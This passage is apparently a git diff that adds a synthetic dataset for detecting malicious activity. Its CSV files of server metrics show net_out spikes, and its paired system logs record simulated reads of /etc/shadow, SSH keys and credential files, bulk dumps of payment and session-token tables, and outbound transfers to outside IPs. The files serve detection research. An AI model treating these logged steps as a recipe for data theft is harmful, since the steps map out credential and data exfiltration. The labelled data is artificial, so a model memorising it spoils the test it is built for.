arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffc5c2a1b30 a2=90800 a3=0 items=1 ppid=1234 pid=6529 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="backup.sh" exe="/bin/bash" key="SensitiveFileAccess" path="/opt/app/secrets/api_key.json" +Aug 26 03:02:23 auditd[555]: type=SYSCALL msg=audit(1756177343:123): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffc5c2a1b30 a2=90800 a3=0 items=1 ppid=1234 pid=6529 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="backup.sh" exe="/bin/bash" key="SensitiveFileAccess" path="/etc/nginx/nginx.conf" +Aug 26 03:02:35 postgres[4567]: [user=prod_db] LOG: statement: SELECT * FROM user_credentials; +Aug 26 03:02:40 postgres[4567]: [user=prod_db] LOG: statement: SELECT * FROM payment_information; +Aug 26 03:02:45 postgres[4567]: [user=prod_db] LOG: statement: SELECT * FROM session_tokens; +Aug 26 03:02:50 postgres[4567]: [user=prod_db] LOG: statement: SELECT * FROM api_keys; +Aug 26 03:02:55 web-app[1337]: GET /api/v1/status status=200 OK +Aug 26 03:03:35 netflow[321]: INFO: Outbound TCP connection initiated from 172.17.0.5:44332 to 203.0.113.25:8080, protocol=TCP, user=root +Aug 26 03:05:35 netflow[321]: ALERT: Long-lived connection detected to unclassified IP 203.0.113.25, bytes_out=52428800, duration_sec=120 +Aug 26 03:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-prod +Aug 26 03:07:05 systemd[1]: Finished daily clean up activities. diff --git a/mali_dataset/scenario_4/mali_4_3.csv b/mali_dataset/scenario_4/mali_4_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..351e823c294e1aa70c87f55f1d67ece0378d0020 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-20T23:30:00Z,19.89,41.85,29.78,1.31,1.08 +2025-09-20T23:30:05Z,15.5,36.05,23.02,0.79,1.04 +2025-09-20T23:30:10Z,12.81,41.04,20.3,0.93,0.85 +2025-09-20T23:30:15Z,10.77,42.37,15.5,1.34,1.38 +2025-09-20T23:30:20Z,14.44,37.37,28.6,0.67,1.43 +2025-09-20T23:30:25Z,14.73,44.89,29.68,1.03,1.2 +2025-09-20T23:30:30Z,10.49,43.41,21.24,0.76,1.39 +2025-09-20T23:30:35Z,11.63,39.33,26.43,1.31,1.09 +2025-09-20T23:30:40Z,11.16,42.23,19.16,0.52,1.4 +2025-09-20T23:30:45Z,16.27,41.69,28.96,1.11,1.13 +2025-09-20T23:30:50Z,18.56,40.24,15.83,0.81,1.42 +2025-09-20T23:30:55Z,16.5,37.98,15.57,1.34,0.88 +2025-09-20T23:31:00Z,19.91,40.71,16.56,0.98,0.52 +2025-09-20T23:31:05Z,14.7,40.74,23.84,0.6,1.32 +2025-09-20T23:31:10Z,16.18,35.44,28.31,0.94,1.07 +2025-09-20T23:31:15Z,12.83,39.53,17.33,1.36,0.54 +2025-09-20T23:31:20Z,19.76,44.9,21.53,1.07,1.43 +2025-09-20T23:31:25Z,16.73,37.27,29.86,1.18,0.94 +2025-09-20T23:31:30Z,14.41,39.73,20.72,0.59,0.94 +2025-09-20T23:31:35Z,12.9,35.79,28.15,0.67,1.48 +2025-09-20T23:31:40Z,15.1,44.67,25.29,1.45,1.19 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+2025-09-20T23:35:05Z,27.93,36.15,18.94,1.38,11.84 +2025-09-20T23:35:10Z,29.3,37.03,29.65,0.57,11.89 +2025-09-20T23:35:15Z,39.71,43.79,25.06,1.34,11.24 +2025-09-20T23:35:20Z,36.96,37.34,27.75,1.31,11.33 +2025-09-20T23:35:25Z,35.09,41.08,22.89,1.42,11.77 +2025-09-20T23:35:30Z,33.31,38.9,20.78,0.63,10.73 +2025-09-20T23:35:35Z,27.89,40.83,22.54,0.71,10.19 +2025-09-20T23:35:40Z,32.14,42.29,26.05,0.78,11.56 +2025-09-20T23:35:45Z,35.67,40.17,26.43,0.84,11.56 +2025-09-20T23:35:50Z,36.96,43.23,21.02,1.4,14.44 +2025-09-20T23:35:55Z,28.02,38.25,19.98,0.74,14.63 +2025-09-20T23:36:00Z,30.32,38.13,26.57,0.62,11.07 +2025-09-20T23:36:05Z,33.92,38.55,27.28,0.61,13.05 +2025-09-20T23:36:10Z,25.61,35.95,15.47,0.81,10.21 +2025-09-20T23:36:15Z,16.05,44.83,18.89,0.69,1.4 +2025-09-20T23:36:20Z,19.4,36.64,23.92,0.8,1.13 +2025-09-20T23:36:25Z,17.33,44.37,24.38,1.31,0.75 +2025-09-20T23:36:30Z,10.39,39.46,18.54,0.88,0.69 +2025-09-20T23:36:35Z,11.6,38.07,22.51,1.02,0.83 +2025-09-20T23:36:40Z,10.64,40.49,19.28,0.65,0.72 +2025-09-20T23:36:45Z,14.45,42.46,15.83,0.54,0.64 +2025-09-20T23:36:50Z,18.4,40.46,26.68,0.95,1.24 +2025-09-20T23:36:55Z,15.58,40.11,22.63,0.8,1.07 +2025-09-20T23:37:00Z,19.88,44.72,17.93,0.91,0.79 +2025-09-20T23:37:05Z,17.63,38.16,29.3,1.35,1.25 +2025-09-20T23:37:10Z,19.41,36.25,25.95,0.51,1.44 +2025-09-20T23:37:15Z,17.27,43.07,19.04,0.86,1.11 +2025-09-20T23:37:20Z,12.53,43.77,21.85,1.16,0.97 +2025-09-20T23:37:25Z,19.07,40.89,24.62,1.28,0.98 diff --git a/mali_dataset/scenario_4/mali_4_3.log b/mali_dataset/scenario_4/mali_4_3.log new file mode 100644 index 0000000000000000000000000000000000000000..c6b044fe73cdb713352972bee0609ad1b7c93eb0 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_3.log @@ -0,0 +1,9 @@ +Sep 20 23:30:15 server systemd[1]: Started User Manager for UID 1002. +Sep 20 23:30:40 server sshd[18234]: Accepted password for deploy_user from 10.8.0.15 port 51234 ssh2 +Sep 20 23:31:15 server cron[11432]: (root) CMD ( /usr/lib/apt/apt.systemd.daily ) +Sep 20 23:33:50 server auditd[512]: type=SYSCALL msg=audit(...): ... comm="pg_dump" exe="/usr/bin/pg_dump" key="sensitive_read" +Sep 20 23:33:55 server auditd[512]: type=PATH msg=audit(...): item=0 name="/var/lib/postgresql/13/main/pg_hba.conf" ... nametype=NORMAL +Sep 20 23:34:05 server auditd[512]: type=PATH msg=audit(...): item=0 name="/home/deploy/.ssh/id_rsa" ... nametype=NORMAL +Sep 20 23:34:25 server mysqld[1456]: ... [Note] User 'db_admin'@'localhost' executed: 'COPY (SELECT * FROM financial_records) TO STDOUT WITH CSV HEADER;' +Sep 20 23:34:40 server kernel: [UFW ALLOW] IN= OUT=eth0 SRC=172.17.0.8 DST=198.51.100.110 ... PROTO=TCP SPT=54321 DPT=9999 +Sep 20 23:36:40 server sshd[18234]: pam_unix(sshd:session): session closed for user deploy_user diff --git a/mali_dataset/scenario_4/mali_4_4.csv b/mali_dataset/scenario_4/mali_4_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..5531aebae869b88f87d9619d37d7dfff25b88a7e --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-10-05T14:00:00Z,17.84,37.12,15.5,1.03,0.68 +2025-10-05T14:00:05Z,16.35,36.78,24.19,0.73,0.79 +2025-10-05T14:00:10Z,12.49,41.55,24.27,0.83,0.95 +2025-10-05T14:00:15Z,17.58,35.51,26.6,1.04,0.96 +2025-10-05T14:00:20Z,13.13,35.91,18.14,1.25,1.3 +2025-10-05T14:00:25Z,19.37,42.02,17.37,0.59,1.03 +2025-10-05T14:00:30Z,10.43,42.25,25.88,1.42,1.16 +2025-10-05T14:00:35Z,14.41,40.16,24.36,0.64,1.12 +2025-10-05T14:00:40Z,19.13,41.59,16.26,1.25,0.59 +2025-10-05T14:00:45Z,14.55,38.11,22.83,0.54,0.95 +2025-10-05T14:00:50Z,15.08,35.79,28.15,1.04,0.51 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+2025-10-05T14:02:35Z,12.9,42.84,113.85,1.04,0.69 +2025-10-05T14:02:40Z,12.35,43.48,106.8,0.74,1.01 +2025-10-05T14:02:45Z,19.63,36.26,105.51,0.57,1.4 +2025-10-05T14:02:50Z,16.16,43.48,114.11,0.7,0.92 +2025-10-05T14:02:55Z,18.63,36.75,108.19,0.73,0.67 +2025-10-05T14:03:00Z,10.9,44.79,99.76,1.13,1.0 +2025-10-05T14:03:05Z,11.49,36.44,114.37,0.62,1.0 +2025-10-05T14:03:10Z,55.28,75.34,55.81,0.51,1.12 +2025-10-05T14:03:15Z,61.3,67.66,63.04,0.51,1.37 +2025-10-05T14:03:20Z,58.18,75.91,60.56,0.62,0.56 +2025-10-05T14:03:25Z,61.97,73.13,46.09,1.36,0.92 +2025-10-05T14:03:30Z,66.91,65.13,52.39,1.12,1.25 +2025-10-05T14:03:35Z,57.01,69.64,49.17,0.6,1.46 +2025-10-05T14:03:40Z,62.28,74.48,52.75,1.29,0.62 +2025-10-05T14:03:45Z,25.32,38.39,17.34,1.11,8.77 +2025-10-05T14:03:50Z,35.95,38.17,22.06,1.32,11.36 +2025-10-05T14:03:55Z,25.74,40.27,15.93,0.7,10.89 +2025-10-05T14:04:00Z,28.51,38.02,18.16,0.88,8.07 +2025-10-05T14:04:05Z,37.38,42.1,25.44,1.24,8.26 +2025-10-05T14:04:10Z,27.2,37.41,16.41,0.88,9.21 +2025-10-05T14:04:15Z,31.01,36.51,28.33,1.44,9.72 +2025-10-05T14:04:20Z,33.57,44.99,29.14,0.62,10.27 +2025-10-05T14:04:25Z,29.65,43.77,26.02,0.68,8.43 +2025-10-05T14:04:30Z,25.44,35.77,27.67,1.24,11.38 +2025-10-05T14:04:35Z,27.37,37.84,22.99,0.71,0.7 +2025-10-05T14:04:40Z,30.6,36.16,22.96,0.69,1.41 +2025-10-05T14:04:45Z,39.62,43.21,23.65,1.47,0.86 +2025-10-05T14:04:50Z,33.63,36.04,26.91,1.33,1.11 +2025-10-05T14:04:55Z,31.63,36.29,15.86,0.99,1.11 +2025-10-05T14:05:00Z,33.53,35.65,21.72,1.08,0.58 +2025-10-05T14:05:05Z,31.05,42.05,26.53,0.74,1.49 +2025-10-05T14:05:10Z,36.49,39.81,27.84,1.12,1.28 +2025-10-05T14:05:15Z,28.8,41.68,29.22,0.69,8.23 +2025-10-05T14:05:20Z,39.22,38.17,25.46,0.83,10.84 +2025-10-05T14:05:25Z,37.28,40.26,21.91,1.24,8.58 +2025-10-05T14:05:30Z,26.47,35.8,23.94,0.55,10.72 +2025-10-05T14:05:35Z,32.63,39.75,25.95,0.78,9.84 +2025-10-05T14:05:40Z,31.26,44.99,21.55,0.75,9.31 +2025-10-05T14:05:45Z,27.24,43.9,17.46,1.11,11.12 +2025-10-05T14:05:50Z,17.14,40.18,16.13,0.95,0.91 +2025-10-05T14:05:55Z,14.87,41.85,25.77,0.69,1.39 +2025-10-05T14:06:00Z,12.33,42.34,20.8,1.18,0.73 +2025-10-05T14:06:05Z,16.72,41.51,29.02,0.77,0.6 +2025-10-05T14:06:10Z,15.79,39.53,15.17,0.61,0.89 +2025-10-05T14:06:15Z,14.48,40.49,23.66,0.73,1.3 +2025-10-05T14:06:20Z,15.77,43.39,28.44,1.32,1.27 +2025-10-05T14:06:25Z,13.11,43.06,18.32,0.87,1.25 +2025-10-05T14:06:30Z,16.52,38.68,19.97,0.56,0.58 +2025-10-05T14:06:35Z,10.91,43.25,22.46,1.45,1.38 +2025-10-05T14:06:40Z,13.67,40.86,20.2,0.51,0.58 +2025-10-05T14:06:45Z,15.72,35.23,23.8,1.36,0.75 +2025-10-05T14:06:50Z,18.11,35.67,21.58,0.64,0.54 +2025-10-05T14:06:55Z,14.67,37.48,15.78,1.33,1.3 +2025-10-05T14:07:00Z,16.24,44.28,21.82,1.47,0.53 +2025-10-05T14:07:05Z,15.58,44.22,16.6,0.52,1.39 +2025-10-05T14:07:10Z,13.32,42.89,25.89,1.43,1.48 +2025-10-05T14:07:15Z,11.37,42.59,25.36,0.58,1.4 +2025-10-05T14:07:20Z,19.04,39.46,15.83,1.12,1.16 +2025-10-05T14:07:25Z,12.29,38.03,27.67,1.11,0.79 diff --git a/mali_dataset/scenario_4/mali_4_4.log b/mali_dataset/scenario_4/mali_4_4.log new file mode 100644 index 0000000000000000000000000000000000000000..701fe7329d83b2ce78273331bef3397b047b2b1e --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_4.log @@ -0,0 +1,9 @@ +Oct 05 14:00:15 server systemd[1]: Started User Manager for UID 1002. +Oct 05 14:00:40 server sshd[18234]: Accepted password for deploy_user from 10.8.0.15 port 51234 ssh2 +Oct 05 14:01:15 server cron[11432]: (root) CMD ( /usr/lib/apt/apt.systemd.daily ) +Oct 05 14:02:35 server auditd[512]: type=SYSCALL msg=audit(...): ... comm="scp" exe="/usr/bin/scp" key="sensitive_read" +Oct 05 14:02:40 server auditd[512]: type=PATH msg=audit(...): item=0 name="/var/log/auth.log" ... nametype=NORMAL +Oct 05 14:02:50 server auditd[512]: type=PATH msg=audit(...): item=0 name="/etc/sudoers" ... nametype=NORMAL +Oct 05 14:03:25 server mysqld[1456]: ... [Note] User 'db_admin'@'localhost' executed: 'SELECT session_token, user_agent, ip_address FROM active_sessions;' +Oct 05 14:03:50 server kernel: [UFW ALLOW] IN= OUT=eth0 SRC=172.17.0.8 DST=192.0.2.88 ... PROTO=TCP SPT=54321 DPT=9999 +Oct 05 14:06:15 server sshd[18234]: pam_unix(sshd:session): session closed for user deploy_user diff --git a/mali_dataset/scenario_4/mali_4_5.csv b/mali_dataset/scenario_4/mali_4_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..17d9b303a82a32e6d1c26e43685a59503d9944e6 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-12T04:00:00Z,13.75,36.2,20.12,1.31,0.89 +2025-07-12T04:00:05Z,19.51,42.13,16.7,1.31,1.14 +2025-07-12T04:00:10Z,17.32,42.61,28.87,1.37,0.96 +2025-07-12T04:00:15Z,15.99,40.61,28.16,1.41,1.05 +2025-07-12T04:00:20Z,11.56,42.71,18.87,1.01,1.44 +2025-07-12T04:00:25Z,11.56,39.94,24.9,1.0,0.89 +2025-07-12T04:00:30Z,10.58,40.23,27.26,1.3,1.46 +2025-07-12T04:00:35Z,18.66,39.28,23.33,1.15,1.41 +2025-07-12T04:00:40Z,16.01,35.25,22.94,1.2,0.7 +2025-07-12T04:00:45Z,17.08,36.08,18.63,1.3,0.57 +2025-07-12T04:00:50Z,10.21,35.31,16.4,1.39,0.6 +2025-07-12T04:00:55Z,19.7,41.36,28.46,0.84,0.52 +2025-07-12T04:01:00Z,18.32,38.14,28.51,0.88,0.59 +2025-07-12T04:01:05Z,12.12,40.09,24.5,0.59,1.18 +2025-07-12T04:01:10Z,11.82,44.08,20.09,1.08,0.57 +2025-07-12T04:01:15Z,11.83,37.49,20.24,0.54,0.82 +2025-07-12T04:01:20Z,13.04,39.1,25.89,0.97,1.34 +2025-07-12T04:01:25Z,15.25,42.56,28.46,1.04,0.52 +2025-07-12T04:01:30Z,14.32,37.29,28.31,0.79,1.31 +2025-07-12T04:01:35Z,12.91,35.77,26.7,1.09,0.78 +2025-07-12T04:01:40Z,16.12,37.9,24.63,0.53,0.62 +2025-07-12T04:01:45Z,11.39,36.61,16.26,0.54,1.2 +2025-07-12T04:01:50Z,12.92,44.3,17.42,1.32,1.13 +2025-07-12T04:01:55Z,13.66,43.08,28.48,0.86,1.38 +2025-07-12T04:02:00Z,14.56,41.33,24.1,0.63,1.24 +2025-07-12T04:02:05Z,17.85,43.71,15.14,1.02,1.3 +2025-07-12T04:02:10Z,12.0,43.04,16.52,1.27,0.78 +2025-07-12T04:02:15Z,15.14,36.87,24.95,0.72,0.68 +2025-07-12T04:02:20Z,15.92,43.93,15.08,1.12,1.25 +2025-07-12T04:02:25Z,10.46,40.39,17.41,0.59,1.31 +2025-07-12T04:02:30Z,16.08,43.07,104.43,0.55,1.49 +2025-07-12T04:02:35Z,11.71,43.96,98.96,1.03,0.91 +2025-07-12T04:02:40Z,10.65,38.18,95.61,1.04,0.87 +2025-07-12T04:02:45Z,19.49,36.1,107.66,1.14,1.28 +2025-07-12T04:02:50Z,19.66,37.28,87.78,1.23,0.84 +2025-07-12T04:02:55Z,57.39,65.62,59.86,1.48,1.43 +2025-07-12T04:03:00Z,50.17,64.29,41.48,1.02,1.36 +2025-07-12T04:03:05Z,57.03,73.03,51.08,0.82,0.93 +2025-07-12T04:03:10Z,50.84,63.35,59.39,1.3,1.25 +2025-07-12T04:03:15Z,51.78,74.45,50.46,0.77,1.25 +2025-07-12T04:03:20Z,51.76,60.18,52.59,0.94,0.6 +2025-07-12T04:03:25Z,59.74,74.55,53.91,0.58,1.4 +2025-07-12T04:03:30Z,61.19,60.65,49.09,0.53,1.01 +2025-07-12T04:03:35Z,58.75,73.37,52.55,1.46,1.33 +2025-07-12T04:03:40Z,64.43,67.92,51.69,1.34,0.82 +2025-07-12T04:03:45Z,25.4,38.23,18.66,1.2,14.51 +2025-07-12T04:03:50Z,30.65,40.19,29.6,0.91,10.23 +2025-07-12T04:03:55Z,37.16,42.03,20.9,0.67,11.4 +2025-07-12T04:04:00Z,39.81,38.64,28.38,0.66,14.75 +2025-07-12T04:04:05Z,27.26,44.72,24.47,0.75,14.45 +2025-07-12T04:04:10Z,33.91,44.62,26.92,1.05,12.28 +2025-07-12T04:04:15Z,30.71,37.52,22.54,1.21,13.1 +2025-07-12T04:04:20Z,39.55,39.97,23.65,1.16,11.39 +2025-07-12T04:04:25Z,37.63,38.01,22.39,0.78,10.94 +2025-07-12T04:04:30Z,37.57,37.85,17.93,1.45,12.32 +2025-07-12T04:04:35Z,32.03,35.37,25.84,1.24,11.77 +2025-07-12T04:04:40Z,31.22,41.1,19.21,1.05,12.92 +2025-07-12T04:04:45Z,29.1,40.03,15.36,1.11,10.39 +2025-07-12T04:04:50Z,25.85,35.51,24.68,0.92,14.87 +2025-07-12T04:04:55Z,37.97,37.79,17.66,0.75,14.93 +2025-07-12T04:05:00Z,37.19,44.08,29.11,0.86,13.49 +2025-07-12T04:05:05Z,40.0,37.4,29.31,1.26,12.68 +2025-07-12T04:05:10Z,39.95,36.45,28.72,0.51,11.55 +2025-07-12T04:05:15Z,33.33,39.89,20.55,0.62,14.07 +2025-07-12T04:05:20Z,36.53,44.86,15.23,0.55,13.42 +2025-07-12T04:05:25Z,39.17,37.42,28.92,0.54,10.81 +2025-07-12T04:05:30Z,37.74,41.72,21.42,1.36,14.55 +2025-07-12T04:05:35Z,28.71,42.62,29.5,1.2,14.11 +2025-07-12T04:05:40Z,31.76,37.38,29.45,0.97,14.75 +2025-07-12T04:05:45Z,26.94,42.28,27.8,0.6,13.63 +2025-07-12T04:05:50Z,39.31,38.68,19.42,0.99,13.07 +2025-07-12T04:05:55Z,34.09,41.32,20.78,0.97,12.09 +2025-07-12T04:06:00Z,28.43,41.34,27.77,0.67,14.66 +2025-07-12T04:06:05Z,35.08,40.36,19.75,0.93,14.33 +2025-07-12T04:06:10Z,34.27,35.9,17.54,0.9,10.23 +2025-07-12T04:06:15Z,17.29,43.35,23.35,1.12,1.2 +2025-07-12T04:06:20Z,17.71,38.21,29.04,1.14,0.57 +2025-07-12T04:06:25Z,10.74,36.87,25.44,0.55,1.32 +2025-07-12T04:06:30Z,13.58,35.41,23.55,0.87,1.21 +2025-07-12T04:06:35Z,11.16,40.91,16.46,1.13,0.58 +2025-07-12T04:06:40Z,18.63,41.78,24.23,1.0,0.58 +2025-07-12T04:06:45Z,16.23,35.17,29.85,1.36,1.49 +2025-07-12T04:06:50Z,13.31,40.12,17.1,1.16,0.87 +2025-07-12T04:06:55Z,10.64,37.26,22.77,0.66,0.87 +2025-07-12T04:07:00Z,13.11,41.45,28.16,0.57,1.31 +2025-07-12T04:07:05Z,13.25,36.74,26.11,1.14,1.45 +2025-07-12T04:07:10Z,17.3,41.91,25.46,0.53,1.49 +2025-07-12T04:07:15Z,16.38,38.87,25.54,1.09,1.25 +2025-07-12T04:07:20Z,18.87,44.37,20.39,1.44,0.88 +2025-07-12T04:07:25Z,14.72,36.38,19.4,1.08,0.58 diff --git a/mali_dataset/scenario_4/mali_4_5.log b/mali_dataset/scenario_4/mali_4_5.log new file mode 100644 index 0000000000000000000000000000000000000000..edb1c7bd1665c2b52090af2e25d5e64ad2c487b2 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_5.log @@ -0,0 +1,15 @@ +Jul 12 04:00:10 systemd[1]: Started Session 5 of user db_admin. +Jul 12 04:00:25 sshd[15482]: Accepted publickey for db_admin from 10.1.2.5 port 49822 ssh2 +Jul 12 04:00:50 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 12 04:01:40 web-app[887]: INFO: User 'alex' successfully authenticated. +Jul 12 04:02:20 web-app[887]: GET /api/v1/dashboard HTTP/1.1 200 +Jul 12 04:02:35 auditd[512]: type=SYSCALL msg=audit(...): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd1f9b6e20 a2=90800 a3=0 items=1 ppid=15510 pid=15512 auid=1001 uid=1001 gid=1001 euid=1001 suid=1001 fsuid=1001 egid=1001 sgid=1001 fsgid=1001 tty=pts0 ses=5 comm="cat" exe="/bin/cat" key="secret_file_access" +Jul 12 04:02:40 auditd[512]: type=PATH msg=audit(...): item=0 name="/etc/shadow" inode=131078 dev=fd:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL +Jul 12 04:02:50 auditd[512]: type=SYSCALL msg=audit(...): arch=c000003e syscall=257 success=yes exit=4 a0=ffffff9c a1=7ffd1f9b6e20 a2=90800 a3=0 items=1 ppid=15510 pid=15515 auid=1001 uid=1001 gid=1001 euid=1001 suid=1001 fsuid=1001 egid=1001 sgid=1001 fsgid=1001 tty=pts0 ses=5 comm="cat" exe="/bin/cat" key="secret_file_access" +Jul 12 04:02:55 auditd[512]: type=PATH msg=audit(...): item=0 name="/opt/app/credentials.env" inode=262148 dev=fd:01 mode=0100600 ouid=1001 ogid=1001 rdev=00:00 nametype=NORMAL +Jul 12 04:03:10 mysqld[1234]: 2025-07-12T04:03:10.123456Z 115 [Note] User 'db_admin'@'localhost' executed: 'SELECT * FROM customers.credit_card_details;' +Jul 12 04:03:30 mysqld[1234]: 2025-07-12T04:03:30.567890Z 115 [Note] Query OK, 1572880 rows in set (28.15 sec) +Jul 12 04:03:50 ufw-audit[15601]: [UFW ALLOW] IN= OUT=eth0 SRC=172.17.0.5 DST=185.125.190.44 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=12345 DF PROTO=TCP SPT=48128 DPT=443 WINDOW=65535 RES=0x00 SYN +Jul 12 04:06:30 sshd[15482]: pam_unix(sshd:session): session closed for user db_admin +Jul 12 04:06:50 systemd[1]: Starting Clean up of User Sessions... +Jul 12 04:07:05 systemd[1]: Removed slice User Slice of UID 1001. diff --git a/mali_dataset/scenario_4/mali_4_6.csv b/mali_dataset/scenario_4/mali_4_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..0ff7b60dab50bb66cabe062e8e216fd648ed5833 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-12T08:00:00Z,18.35,40.03,26.44,1.17,0.72 +2025-08-12T08:00:05Z,11.05,42.65,18.66,0.72,1.3 +2025-08-12T08:00:10Z,17.45,38.47,26.29,0.88,0.89 +2025-08-12T08:00:15Z,13.61,44.31,15.43,1.5,1.37 +2025-08-12T08:00:20Z,13.59,37.99,16.18,1.35,1.49 +2025-08-12T08:00:25Z,16.09,40.51,26.53,1.19,0.77 +2025-08-12T08:00:30Z,13.94,35.58,29.73,0.65,1.09 +2025-08-12T08:00:35Z,14.09,40.95,22.64,1.28,0.58 +2025-08-12T08:00:40Z,15.1,41.43,19.38,0.99,1.42 +2025-08-12T08:00:45Z,17.1,42.41,19.53,1.13,0.8 +2025-08-12T08:00:50Z,19.61,35.99,18.13,1.08,0.89 +2025-08-12T08:00:55Z,14.57,38.45,15.79,0.82,0.54 +2025-08-12T08:01:00Z,14.28,41.89,29.55,0.72,1.03 +2025-08-12T08:01:05Z,11.13,36.82,16.1,0.62,1.08 +2025-08-12T08:01:10Z,12.18,35.03,22.66,1.39,1.25 +2025-08-12T08:01:15Z,19.57,37.68,21.11,0.72,0.58 +2025-08-12T08:01:20Z,19.43,41.99,23.62,0.88,1.17 +2025-08-12T08:01:25Z,18.82,39.19,24.58,0.69,0.87 +2025-08-12T08:01:30Z,16.46,38.19,17.14,1.33,1.37 +2025-08-12T08:01:35Z,12.14,37.12,22.3,1.0,0.94 +2025-08-12T08:01:40Z,16.37,38.13,111.71,0.78,1.21 +2025-08-12T08:01:45Z,11.39,38.7,103.09,0.69,1.25 +2025-08-12T08:01:50Z,14.59,36.32,92.88,1.15,1.25 +2025-08-12T08:01:55Z,18.74,41.77,104.78,1.29,1.21 +2025-08-12T08:02:00Z,12.58,40.1,104.76,1.34,1.04 +2025-08-12T08:02:05Z,16.65,43.57,107.24,1.39,1.17 +2025-08-12T08:02:10Z,18.63,35.0,106.93,0.58,0.83 +2025-08-12T08:02:15Z,11.49,42.79,110.08,1.09,1.04 +2025-08-12T08:02:20Z,67.19,78.89,53.96,0.63,0.72 +2025-08-12T08:02:25Z,69.66,74.59,59.48,0.54,0.86 +2025-08-12T08:02:30Z,57.42,72.56,50.84,0.98,1.47 +2025-08-12T08:02:35Z,66.28,69.28,60.87,1.38,1.26 +2025-08-12T08:02:40Z,56.23,69.93,50.62,1.31,0.68 +2025-08-12T08:02:45Z,64.07,77.84,55.03,1.47,0.57 +2025-08-12T08:02:50Z,61.7,68.76,57.81,1.46,1.39 +2025-08-12T08:02:55Z,27.41,36.17,28.18,1.42,11.47 +2025-08-12T08:03:00Z,31.89,41.16,27.13,1.37,13.46 +2025-08-12T08:03:05Z,35.69,38.52,17.7,1.34,13.56 +2025-08-12T08:03:10Z,39.24,40.13,22.85,0.63,12.12 +2025-08-12T08:03:15Z,36.08,38.63,24.62,0.65,12.57 +2025-08-12T08:03:20Z,37.66,44.81,28.76,1.42,10.63 +2025-08-12T08:03:25Z,32.31,39.06,24.4,1.05,10.71 +2025-08-12T08:03:30Z,39.28,43.03,28.99,0.88,13.87 +2025-08-12T08:03:35Z,29.1,41.77,17.48,0.98,10.38 +2025-08-12T08:03:40Z,33.21,37.68,23.32,0.91,11.31 +2025-08-12T08:03:45Z,31.89,40.01,22.23,0.52,11.93 +2025-08-12T08:03:50Z,28.54,39.05,21.13,0.57,10.43 +2025-08-12T08:03:55Z,28.15,42.28,26.14,1.06,10.19 +2025-08-12T08:04:00Z,31.67,38.63,20.27,1.1,10.06 +2025-08-12T08:04:05Z,26.26,43.78,23.09,0.72,12.89 +2025-08-12T08:04:10Z,25.27,39.61,22.55,0.8,14.98 +2025-08-12T08:04:15Z,33.03,44.36,29.8,1.09,10.75 +2025-08-12T08:04:20Z,37.71,43.5,16.89,1.39,13.38 +2025-08-12T08:04:25Z,37.03,38.15,25.79,1.49,13.03 +2025-08-12T08:04:30Z,27.17,39.85,19.57,0.61,13.08 +2025-08-12T08:04:35Z,26.23,39.05,25.87,0.85,14.12 +2025-08-12T08:04:40Z,25.81,44.87,20.85,0.62,12.28 +2025-08-12T08:04:45Z,29.66,39.68,27.25,1.28,13.68 +2025-08-12T08:04:50Z,33.88,38.38,21.73,1.12,11.63 +2025-08-12T08:04:55Z,34.28,39.48,19.63,0.84,14.02 +2025-08-12T08:05:00Z,38.49,36.73,21.33,0.54,14.23 +2025-08-12T08:05:05Z,36.66,40.73,23.77,0.77,13.1 +2025-08-12T08:05:10Z,36.58,42.18,24.05,0.51,10.71 +2025-08-12T08:05:15Z,35.43,43.93,17.26,1.39,13.61 +2025-08-12T08:05:20Z,30.04,42.89,20.2,0.67,14.37 +2025-08-12T08:05:25Z,38.56,39.85,17.46,1.31,12.9 +2025-08-12T08:05:30Z,38.51,38.12,26.05,0.8,12.82 +2025-08-12T08:05:35Z,37.22,41.95,17.97,0.83,12.61 +2025-08-12T08:05:40Z,39.44,40.8,27.54,0.81,13.62 +2025-08-12T08:05:45Z,35.38,38.9,21.41,0.97,14.22 +2025-08-12T08:05:50Z,34.44,39.6,24.01,0.92,12.21 +2025-08-12T08:05:55Z,35.45,41.15,20.77,1.2,11.21 +2025-08-12T08:06:00Z,27.86,36.29,23.91,0.53,14.03 +2025-08-12T08:06:05Z,26.16,40.89,28.77,0.92,14.58 +2025-08-12T08:06:10Z,28.06,40.52,17.08,0.51,11.65 +2025-08-12T08:06:15Z,28.56,39.87,26.57,1.47,10.09 +2025-08-12T08:06:20Z,29.65,40.49,24.98,1.39,10.43 +2025-08-12T08:06:25Z,30.63,44.79,21.09,1.09,14.63 +2025-08-12T08:06:30Z,36.43,36.71,29.57,1.02,13.23 +2025-08-12T08:06:35Z,30.8,40.28,26.88,0.93,12.01 +2025-08-12T08:06:40Z,17.45,42.06,17.31,1.37,0.9 +2025-08-12T08:06:45Z,11.09,40.39,21.88,0.96,1.43 +2025-08-12T08:06:50Z,14.94,39.06,25.68,0.75,0.56 +2025-08-12T08:06:55Z,18.67,42.59,28.85,1.07,1.36 